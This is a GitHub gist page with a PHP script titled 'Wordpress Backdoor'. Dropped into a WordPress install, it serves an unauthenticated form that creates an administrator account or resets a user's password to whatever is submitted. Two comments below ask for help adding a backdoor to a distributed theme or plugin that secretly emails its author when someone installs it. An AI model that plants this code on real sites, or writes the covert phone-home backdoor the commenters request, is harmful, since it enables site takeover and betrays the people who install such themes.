Skip to content

Instantly share code, notes, and snippets.

@mkropat
Created April 30, 2014 20:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mkropat/859f56228b90739b359b to your computer and use it in GitHub Desktop.
Save mkropat/859f56228b90739b359b to your computer and use it in GitHub Desktop.
wp-backdoor.php
<?php
require_once( dirname(__FILE__) . '/wp-load.php' );
require_once( ABSPATH . WPINC . '/registration.php' );
require_once( ABSPATH . '/wp-includes/pluggable.php' );
require_once( ABSPATH . '/wp-includes/general-template.php' );
require_once( ABSPATH . '/wp-includes/capabilities.php' );
if ($_POST) {
if ($user = get_userdatabylogin($_REQUEST['username'])) { // FIXME: doesn't work
wp_update_user(array("ID" => $user->ID, "user_pass" => $_REQUEST['password']));
} else {
$uid = wp_create_user($_REQUEST['username'], $_REQUEST['password'], $_REQUEST['email']);
$user = new WP_User($uid);
$user->set_role('administrator');
}
wp_redirect(wp_login_url());
exit();
}
?>
<html>
<head>
<title>Wordpress Backdoor</title>
</head>
<body>
<form method="POST">
<p><label for="username">Username:</label> <input type="text" name="username" /></p>
<p><label for="password">Password:</label> <input type="text" name="password" /></p>
<p><label for="email">Email:</label> <input type="text" name="email" /></p>
<p><input type="submit" value="Create User" /></p>
</form>
</body>
</html>
@azharanowar
Copy link

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those codes kindly help me... I need to learn it also, Thank you

@elabdi
Copy link

elabdi commented Jan 24, 2021

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those codes kindly help me... I need to learn it also, Thank you

hi bro if you find any solution please help me too

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment